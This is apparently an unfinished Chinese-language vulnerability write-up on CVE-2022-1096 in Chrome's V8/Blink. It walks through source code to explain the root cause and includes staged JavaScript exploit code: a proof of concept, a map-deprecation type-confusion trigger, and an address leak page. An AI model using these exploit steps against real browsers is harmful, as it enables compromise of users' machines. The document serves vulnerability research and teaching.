CVE-2022-1096 (WIP)
CVE-2022-1096 是 CVE-2021-30551 的变种。
准备环境
阅读 Google P0 的分析报告 得知修复的版本是 99.0.4844.84,搜到对应的发布记录,依照时间找到上一个版本是 99.0.4844.82,使用 获取旧版本的 Chrome 中的方法构建出对应的二进制文件。
分析成因
将 POC 代码稍加修改,方便调试:
style = document.createElement('p').style;
alert(1);
style.prop = { toString: () => {
style.prop = 1;
}};
alert(2)
根据之前调试 CVE-2021-30551 积累的经验,漏洞是在 v8/src/objects/objects.cc:Object::SetProperty
函数执行过程中触发的,在 alert(1) 弹出后,在 Object::SetProperty 函数开头下断点,然后点掉弹窗,让程序断下后开始调试。
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
if (!CheckContextualStoreToJSGlobalObject(it, should_throw)) {
return Nothing<bool>();
}
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
大体和 CVE-2021-30551 的流程一致,虽然 style 对象还没有名为 prop 的属性,但是由于 style 是设置了 INTERCEPTOR 的 DOM 对象, 属性的查找结果是找到了 INTERCEPTOR,it->IsFound() 条件满足,程序走到 SetPropertyInternal 中,经过多层调用,最终到达 V8CSSStyleDeclaration::NamedPropertySetterCallback 函调函数。
void V8CSSStyleDeclaration::NamedPropertySetterCallback(
v8::Local<v8::Name> v8_property_name,
v8::Local<v8::Value> v8_property_value,
const v8::PropertyCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(
info.GetIsolate(), "Blink_CSSStyleDeclaration_NamedPropertySetter");
// 3.9.2. [[Set]]
// https://webidl.spec.whatwg.org/#legacy-platform-object-set
// step 1. If O and Receiver are the same object, then:
if (info.Holder() == info.This()) {
// step 1.2.1. Invoke the named property setter with P and V.
v8::Isolate* isolate = info.GetIsolate();
const ExceptionState::ContextType exception_state_context_type =
ExceptionContext::Context::kNamedPropertySet;
const char* const class_like_name = "CSSStyleDeclaration";
ExceptionState exception_state(isolate, exception_state_context_type,
class_like_name);
// [CEReactions]
CEReactionsScope ce_reactions_scope;
v8::Local<v8::Object> v8_receiver = info.Holder();
CSSStyleDeclaration* blink_receiver =
V8CSSStyleDeclaration::ToWrappableUnsafe(v8_receiver);
v8::Local<v8::Context> receiver_context =
v8_receiver->GetCreationContextChecked();
ScriptState* receiver_script_state = ScriptState::From(receiver_context);
ScriptState* script_state = receiver_script_state;
const AtomicString& blink_property_name =
ToCoreAtomicString(v8_property_name.As<v8::String>());
// 这里会把值转换成字符串,触发其 toString 方法的回调
auto&& blink_property_value =
NativeValueTraits<IDLStringTreatNullAsEmptyString>::ArgumentValue(
isolate, 1, v8_property_value, exception_state);
if (UNLIKELY(exception_state.HadException())) {
return;
}
auto&& return_value = blink_receiver->AnonymousNamedSetter(
script_state, blink_property_name, blink_property_value);
bindings::V8SetReturnValue(info, return_value);
// CSSStyleDeclaration is abusing named properties.
// Do not intercept if the property is not found.
return;
}
// Do not intercept. Fallback to OrdinarySetWithOwnDescriptor.
}
在 Interceptor 回调中有一个把属性值转换成字符串的操作,如果值是一个 object 的话,这里会调用它的 toString 方法,而 toString 方法里会再次设置 prop 属性,这次设置的值为 1,设置完成后控制流最终返回到外层的值设置中,乍看和 CVE-2021-30551 好像没什么区别,为什么 CVE-2021-30551 的补丁没有解决这个问题呢? 仔细查看修补的地方发现,由于 CVE-2021-30551 漏洞触发需要将 DOM 对象 HTMLEmbed 作为普通对象的原型,所以其补丁代码放到了针对原型的属性设置代码路径上,并不能覆盖直接给 DOM 对象设置属性的情况。
⚠️ 提示:由于 prop 属性并不是这个 Interceptor 期望处理的属性,AnonymousNamedSetter 的返回值为 NamedPropertySetterResult::kDidNotIntercept
,代表Interceptor 不处理此属性设置操作。 结果就是 Interceptor 在这个流程里实际只起了调用 toString 回调函数的作用,不影响实际赋值给 prop 属性的值。
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
Handle<Object> value,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin, bool* found) {
...
do {
switch (it->state()) {
...
case LookupIterator::INTERCEPTOR: {
if (it->HolderIsReceiverOrHiddenPrototype()) {
/// CVE-2022-1096 的控制流会走这里
Maybe<bool> result =
JSObject::SetPropertyWithInterceptor(it, should_throw, value);
if (result.IsNothing() || result.FromJust()) return result;
} else {
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
// >> CVE-2021-30551 的修补位置
// At this point we might have called interceptor's query or getter
// callback. Assuming that the callbacks have side effects, we use
// Object::SetSuperProperty() which works properly regardless on
// whether the property was present on the receiver or not when
// storing to the receiver.
if (maybe_attributes.FromJust() == ABSENT) {
// Proceed lookup from the next state.
it->Next();
} else {
// Finish lookup in order to make Object::SetSuperProperty() store
// property to the receiver.
it->NotFound();
}
return Object::SetSuperProperty(it, value, store_origin,
should_throw);
}
break;
}
...
}
it->Next();
} while (it->IsFound());
*found = false;
return Nothing<bool>();
}
实现利用
距离我实现 CVE-2021-30551 的利用已经过去一段时间了,一些很重要的细节我都已经忘记了,这次就重新实现下漏洞的利用过程,加深印象。
类型混淆
利用这个漏洞要先将漏洞转换成类型混淆,按照 CVE-2021-30551 的利用思路,通过触发两次漏洞,创建出两个有微妙区别的对象,然后再配合上 JIT 编译生成的代码,就可以把这个漏洞转换成类型混淆。
先触发一次漏洞得到一个具有两个 prop 属性的对象 s1,代码如下:
s1 = document.createElement('p').style;
v1 = { toString: () => {s1.prop = 1} };
s1.prop = v1;
之后再一次触发漏洞, 创建一个新对象 s2,不过这次漏洞触发的时候,我们希望能在设置第二个 prop 属性时,在控制流走到 LookupIterator::ApplyTransitionToDataProperty 函数时 simple_transition
条件为 false
,这样控制流会走到 ReloadPropertyInformation
函数中,重新在 从对象中搜索 prop 属性的位置存储到 state_ 中,搜索算法是从属性描述符的数组的开头线性搜索,这样搜到的结果就是第一个 prop 属性的描述符,而不是刚刚添加的第二个 prop。
/// 添加属性的关键函数
Maybe<bool> Object::AddDataProperty(LookupIterator* it, Handle<Object> value,
PropertyAttributes attributes,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin) {
...
if (it->IsElement(*receiver)) {
...
} else {
/// <<< 这里开始是添加属性的关键点
it->UpdateProtector();
// Migrate to the most up-to-date map that will be able to store |value|
// under it->name() with |attributes|.
/// <<< 这里先准备一个存储了新属性描述符的新 map
it->PrepareTransitionToDataProperty(receiver, value, attributes,
store_origin);
DCHECK_EQ(LookupIterator::TRANSITION, it->state());
/// <<< 将新的 map 应用到 receiver 对象
it->ApplyTransitionToDataProperty(receiver);
// Write the property value.
/// <<< 将属性值写入 receiver 对象
it->WriteDataValue(value, true);
...
}
return Just(true);
}
void LookupIterator::ApplyTransitionToDataProperty(
Handle<JSReceiver> receiver) {
...
Handle<Map> transition = transition_map();
bool simple_transition = // <<<<< 关键点1
transition->GetBackPointer(isolate_) == receiver->map(isolate_);
...
if (simple_transition) {
number_ = transition->LastAdded();
property_details_ = transition->GetLastDescriptorDetails(isolate_);
state_ = DATA;
} else if (receiver->map(isolate_).is_dictionary_map()) {
...
} else {
ReloadPropertyInformation<false>(); // <<<<< 关键点2
}
}
template <bool is_element>
void LookupIterator::ReloadPropertyInformation() {
state_ = BEFORE_PROPERTY;
interceptor_state_ = InterceptorState::kUninitialized;
state_ = LookupInHolder<is_element>(holder_->map(isolate_), *holder_); // <<< 关键点3
DCHECK(IsFound() || !holder_->HasFastProperties(isolate_));
}
这样一来程序运行 WriteDataValue 函数时,就会到的用第一个属性的描述符和第二个属性的值作为参数调用 WriteToField 函数。由于正常情况下,这里描述符存和值的类型时匹配的,在 WriteToField 函数中不会严格的校验 value 是否和描述符指定的类型匹配,有几处强制类型转换操作,我们利用这点来实现漏洞的利用。
void LookupIterator::WriteDataValue(Handle<Object> value,
bool initializing_store) {
DCHECK_EQ(DATA, state_);
#if V8_ENABLE_WEBASSEMBLY
// WriteDataValueToWasmObject() must be used instead for writing to
// WasmObjects.
DCHECK(!holder_->IsWasmObject(isolate_));
#endif // V8_ENABLE_WEBASSEMBLY
Handle<JSReceiver> holder = GetHolder<JSReceiver>();
if (IsElement(*holder)) {
...
} else if (holder->HasFastProperties(isolate_)) {
DCHECK(holder->IsJSObject(isolate_));
if (property_details_.location() == PropertyLocation::kField) {
// Check that in case of VariableMode::kConst field the existing value is
// equal to |value|.
DCHECK_IMPLIES(!initializing_store && property_details_.constness() ==
PropertyConstness::kConst,
IsConstFieldValueEqualTo(*value));
JSObject::cast(*holder).WriteToField(descriptor_number(),
property_details_, *value); /// <<< 关键点
} else {
...
}
} else if (holder->IsJSGlobalObject(isolate_)) {
...
} else {
...
}
}
void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
Object value) {
DCHECK_EQ(PropertyLocation::kField, details.location());
DCHECK_EQ(PropertyKind::kData, details.kind());
DisallowGarbageCollection no_gc;
FieldIndex index = FieldIndex::ForDescriptor(map(), descriptor);
if (details.representation().IsDouble()) {
// Manipulating the signaling NaN used for the hole and uninitialized
// double field sentinel in C++, e.g. with bit_cast or value()/set_value(),
// will change its value on ia32 (the x87 stack is used to return values
// and stores to the stack silently clear the signalling bit).
uint64_t bits;
if (value.IsSmi()) {
bits = bit_cast<uint64_t>(static_cast<double>(Smi::ToInt(value)));
} else if (value.IsUninitialized()) {
bits = kHoleNanInt64;
} else {
DCHECK(value.IsHeapNumber()); /// DCHECK 是类似 assert 的操作,发布版不生效
bits = HeapNumber::cast(value).value_as_bits(kRelaxedLoad);
}
auto box = HeapNumber::cast(RawFastPropertyAt(index));
box.set_value_as_bits(bits, kRelaxedStore);
} else {
FastPropertyAtPut(index, value);
}
}
从 LookupIterator::ApplyTransitionToDataProperty 函数可以看到当 simple_transition 为 false, 也就是 transition map 的父 map,不是当前 receiver 的 map 时,程序才会走到上面所说的可利用的控制流上,那么怎么才能触发这个条件呢?这就需要看 transition map 的创建过程了,如果单步调试过这一段流程,可以知道 transition map 是在之前的 LookupIterator::PrepareTransitionToDataProperty -> Map::TransitionToDataProperty 这一段控制流中创建的。
void LookupIterator::PrepareTransitionToDataProperty(
Handle<JSReceiver> receiver, Handle<Object> value,
PropertyAttributes attributes, StoreOrigin store_origin) {
...
Handle<Map> map(receiver->map(isolate_), isolate_);
...
Handle<Map> transition =
Map::TransitionToDataProperty(isolate_, map, name_, value, attributes,
PropertyConstness::kConst, store_origin);
state_ = TRANSITION;
transition_ = transition;
...
}
Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
Handle<Name> name,
Handle<Object> value,
PropertyAttributes attributes,
PropertyConstness constness,
StoreOrigin store_origin) {
...
// Migrate to the newest map before storing the property.
map = Update(isolate, map);
Map maybe_transition =
TransitionsAccessor(isolate, map)
.SearchTransition(*name, PropertyKind::kData, attributes);
if (!maybe_transition.is_null()) {
Handle<Map> transition(maybe_transition, isolate);
InternalIndex descriptor = transition->LastAdded();
DCHECK_EQ(attributes, transition->instance_descriptors(isolate)
.GetDetails(descriptor)
.attributes());
return UpdateDescriptorForValue(isolate, transition, descriptor, constness,
value);
}
// Do not track transitions during bootstrapping.
TransitionFlag flag =
isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
MaybeHandle<Map> maybe_map;
if (!map->TooManyFastProperties(store_origin)) {
Representation representation = value->OptimalRepresentation(isolate);
Handle<FieldType> type = value->OptimalType(isolate, representation);
maybe_map = Map::CopyWithField(isolate, map, name, type, attributes,
constness, representation, flag);
}
Handle<Map> result;
if (!maybe_map.ToHandle(&result)) {
...
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}
return result;
}
Handle<Map> Map::Update(Isolate* isolate, Handle<Map> map) {
if (!map->is_deprecated()) return map;
...
MapUpdater mu(isolate, map);
return mu.Update();
}
结合代码可知一般情况下,transition map 的创建动作,就是先拷贝一份 receiver 的 map ,再追加上新属性的属性描述符。但是如果当前 receiver 的 map 已经被打上了 deprecated 标记了,情况就有所不同,这种情况下 receiver 现有的 map 已经废弃了,要先用 MapUpdater 寻找/创建一个更合适的 map 作为 transition map 的父 map,这样一来 transition 的父 map 就不是 receiver 原本的 map(MapUpdater 并不会更新 receiver 的 map),最终导致 simple_transition 为 false。
那么问题就又变成了,怎么才能让 receiver 的 map 被打上 deprecated 标记呢?先在代码里搜索一下看看哪里会修改 map 的 deprecated 字段。查看 is_deprecated 的函数定义可以得知,函数是用 BIT_FIELD_ACCESSORS 宏定义的,这个宏还定义了修改函数 set_is_deprecated,搜索 set_is_deprecated 字符串发现函数 Map::DeprecateTransitionTree 中有调用,再搜索 DeprecateTransitionTree 的调用,可以搜到 MapUpdater::ConstructNewMap,再向上搜索找到 MapUpdater::ReconfigureToDataField、MapUpdater::ReconfigureElementsKind。通过分析这两个函数的定义和引用的地方,结合 CVE-2021-30551 的 POC 可以推测出,这两个函数是在修改对象已有属性类型、数组元素类型时触发的,CVE-2021-30551 采用的是触发 ReconfigureToDataField 这条代码路径 SetPropertyInternal -> PrepareForDataProperty -> PrepareForDataProperty -> UpdateDescriptorForValue -> ReconfigureToDataField。(另一条路径是否可行?)
void Map::DeprecateTransitionTree(Isolate* isolate) {
if (is_deprecated()) return;
DisallowGarbageCollection no_gc;
TransitionsAccessor transitions(isolate, *this, &no_gc);
int num_transitions = transitions.NumberOfTransitions();
for (int i = 0; i < num_transitions; ++i) {
transitions.GetTarget(i).DeprecateTransitionTree(isolate);
}
DCHECK(!constructor_or_back_pointer().IsFunctionTemplateInfo());
DCHECK(CanBeDeprecated());
set_is_deprecated(true);
if (FLAG_log_maps) {
LOG(isolate, MapEvent("Deprecate", handle(*this, isolate), Handle<Map>()));
}
dependent_code().DeoptimizeDependentCodeGroup(
isolate, DependentCode::kTransitionGroup);
NotifyLeafMapLayoutChange(isolate);
}
具体操作是在 s2 的两次 prop 属性设置之间,通过给 s1 的 prop 属性赋值的方式,修改 s1 的 prop 属性的类型。这样 s1 的旧 map 会被标记为 deptecate,因为 s1 和 s2 是共享同一个 map 的,s2 当前使用的 map 就变成 deprecate 的了,等 s2 的第二次 prop 赋值时,由于 map 被打上了 deprecated 标记,就走入了非 simple_transition 的代码路径。
利用代码如下:
s2 = document.createElement('p').style;
v2 = { toString: () => {s2.prop = 1; s1.prop = 1.1; };
s2.prop = v2;
⚠️ 提示:不清楚 s1 和 s2 为什么共享同一个 map 的同学,可以去了解一下 v8 中 map transition 的相关内容,我在 CVE-2021-30551 分析 这篇的”分析 map 的变化过程”这一小节也有简单介绍。
在属性访问的时候也是用同一个线性搜索算法,所以之后访问对象的 prop 属性,实际访问的都是存储在第一个 prop 属性处的值,对于 s1 来说是第一次 WriteToField 写入的,对于 s2 来说是第二次。
分析 JSObject::WriteToField 代码,结合上 CVE-2021-30551 的利用经验,可以很容易想到,如果把 v2 改成一个数组的话,就可以直接通过 s2.prop 读取到数组的 Elements。
var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString = () => {
s2.prop = 1
s1.prop = 1.1
};
s2.prop = v2;
实际验证下效果,验证过程中还要用到一些浮点数和大整数之间的类型转换,我这次把它封装成了模块 conversion.mjs,方便以后复用。
完整代码如下:
// conversion.mjs
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u64 = new BigUint64Array(buf);
var u32 = new Uint32Array(buf);
function ftou(f) {
f64[0] = f;
return u64[0];
}
function utof(u) {
u64[0] = u;
return f64[0];
}
function low32(u) {
u64[0] = u;
return u32[0];
}
function high32(u) {
u64[0] = u;
return u32[1];
}
export {ftou, utof, low32, high32};
// main.js
import * as cvs from './module/conversion.mjs'
var s1 = document.createElement('p').style;
var v1 = { toString: () => {s1.prop = 1} };
s1.prop = v1;
var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString = () => {
s2.prop = 1
s1.prop = 1.1
};
alert(1);
s2.prop = v2;
alert(`0x${cvs.ftou(s2.prop).toString(16)}`);
<!--exp.html-->
<html>
<body>
<script type="module" src="./main.js">
</script>
PWN:)
</body>
</html>
⚠️提示:浏览器原生支持的模块的用法参考 MDN,也可以用Typescript,Babel 提供的模块机制。
如下图所示,读取到的结果和调试器中看到的 v2 的内容一致。
![[Pasted image 20221205000128.png]]
光能泄漏一个数组 Elements 的地址还是不够的,还需要进一步的转化获得一个修改什么数据的能力。先借鉴 CVE-2021-30551 POC 中的思路,优化一下上面的利用代码,引入一个新的属性 deprecate 来专门触发 map 废弃,这样 prop 就可以支持更多的数据类型之间的混淆了,代码修改如下:
// main.js
import * as cvs from './module/conversion.mjs'
const smi_value = 1;
const double_value = 1.1;
var s1 = document.createElement('p').style;
var v1 = {
toString: () => {
// 2. 创建一个包含 double(HeapNumber) 类型的 confuzion 属性的新 map
s1.confuzion = double_value;
}
};
// 1. 创建一个包含 SMI类型的 deprecate 属性的新 map
s1.deprecate = smi_value;
// 3. 创建一个包含 object 类型的 confuzion 属性的新 map
s1.confuzion = v1;
var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString = () => {
// 5. 搜索到 2 中创建好的 map
s2.confuzion = double_value;
// 6. deprecate 属性的类型从 SMI 泛化到了 HeapNumber,创建新 map 替代
// 1. 2. 3. 创建的 map,并且把旧 map 被标记为 deprecate
s1.deprecate = double_value;
};
// 4.搜索到 1. 中创建好的 map
s2.deprecate = smi_value;
// 7. 发现 s2 目前的 map 已经被标记为 deprecated,先更新到 6. 中创建的新 map,然后又以
// confuzion 属性名,搜索新 map,还是搜索到 6. 中创建的新 map,也是 s1 目前在用的 map
s2.confuzion = v2;
alert(`0x${cvs.ftou(s2.confuzion).toString(16)}`);
再来分析一下目前都可以控制哪些东西,s1.confuzion 的类型是完全可控的,s2.confuzion 我认为是不太可控的,为了触发漏洞 s2.confuzion 一定要是个包含 toString 函数的对象,这意味着它一定要是 HeapObject 类型的。
⚠️ 提示:这块只是我自己的理解,不一定对,也许有什么我不知道的特性让非 HeapObject 类型的值也可以有自定义的 toString 回调。
之前分析过 CVE-2021-30551 的思路是,让 s2.confuzion 是一个浮点数,s1.confuzion 是一个数组,就可以把写入 s2.confuzion 的浮点数,当作数组的地址使用。但这个漏洞 s2.confuzion 一定要是 HeapObject,我就想到是不是可以选择浮点数数组,然后让 s1.confuzion 是对象数组。回顾一下上面的 WriteField 函数,对象的写入由 FastPropertyAtPut 函数完成,就是把对象的指针存储到属性中,这个赋值操作并不能直接触发类型混淆,需要结合上 JIT 编译生成的代码才行。
void JSObject::FastPropertyAtPut(FieldIndex index, Object value,
WriteBarrierMode mode) {
if (index.is_inobject()) {
RawFastInobjectPropertyAtPut(index, value, mode);
} else {
DCHECK_EQ(UPDATE_WRITE_BARRIER, mode);
property_array().set(index.outobject_array_index(), value);
}
}
void JSObject::RawFastInobjectPropertyAtPut(FieldIndex index, Object value,
WriteBarrierMode mode) {
DCHECK(index.is_inobject());
int offset = index.offset();
RELAXED_WRITE_FIELD(*this, offset, value);
CONDITIONAL_WRITE_BARRIER(*this, offset, value, mode);
}
基本思路是定义一个读取参数对象的 confusion[0] 的函数,然后用 s1 触发这个函数的 JIT 编译,之后以 s2 为参数调用 JIT 编译好的函数,如果没有触发 deoptimize 的话,s2.confusion 就会被当作对象数组使用,而实际上它是一个浮点数数组,数组里存储的内容都是可控的。
先用下面的代码测试下:
import * as cvs from './module/conversion.mjs'
const smi_value = 1;
const double_value = 1.1;
const obj_arr = [{}, {}, {}];
var s1 = document.createElement('p').style;
var v1 = {
toString: () => {
s1.confuzion = obj_arr;
}
};
s1.deprecate = smi_value;
s1.confuzion = v1;
var s2 = document.createElement('p').style;
var v2 = [1.1, 1.2, 1.3];
v2.toString = () => {
s2.confuzion = obj_arr;
s1.deprecate = double_value;
};
s2.deprecate = smi_value;
s2.confuzion = v2;
var jit = (obj) => {
return obj.confuzion[0];
}
for(let i = 0; i < 20000; ++i) {
jit(s1);
}
alert(jit(s2));
不出意外的结果是不行,alert 弹窗输出了正确的浮点值 1.1,下面我分析一下为什么不行。我对 turbofan 的整个编译过程虽然不是一无所知吧,但是可以说是一窍不通。所以我采用的分析方案就是抓取 trace log 和 CVE-2021-30551 的进行对比,找到它们的区别。
抓取 trace log 需要指定命令行 ./chrome.exe --no-sandbox --enable-logging=stderr --js-flags="--trace-turbo"
。
简单对比之后我发现,主要的区别在 V8.TFInlining 阶段。jit 函数很简单,访问对象的属性 confuzion 以及访问数组的 [0] 元素两个操作,分别对应 IR 图中的 JSLoadNamed 和 JSLoadProperty 两个节点。对于 CVE-2021-30551 的 EXP,这两个节点在 V8.TFInlining 阶段满足了优化的条件,都被替换成了更底层的内存加载操作 LoadFiled、LoadElement。而对于本次的 EXP JSLoadNamed 节点没有满足优化条件,仍然保持是 JSLoadNamed,这个区别就使得直接导致类型混淆的 CheckMaps 优化的条件没有被满足,编译生成的代码在访问 confuzion[0] 还是会检查 confuzion 的 map 是否满足条件,不会触发类型混淆。
![[Pasted image 20221213233338.png]]
![[Pasted image 20221213233416.png]]
⚠️ 提示:如果不理解这里,需要回忆一下 CVE-2021-30551 的 利用过程,有关键的一步是 JSLoadNamed 和 JSLoadElements 两个节点 Inline 后得到的两个 ChecksMaps 被优化编译器认为是重复的,第二个在优化过程中被删掉了。如果第二个 CheckMaps 一直保留的话,程序运行过程中,就能正确的识别出 obj.confuzion 的类型与预期不匹配,走入 deoptimize 的流程,避免类型混淆的发生。详情可以参考我之前对 CVE-2021-30551 的分析。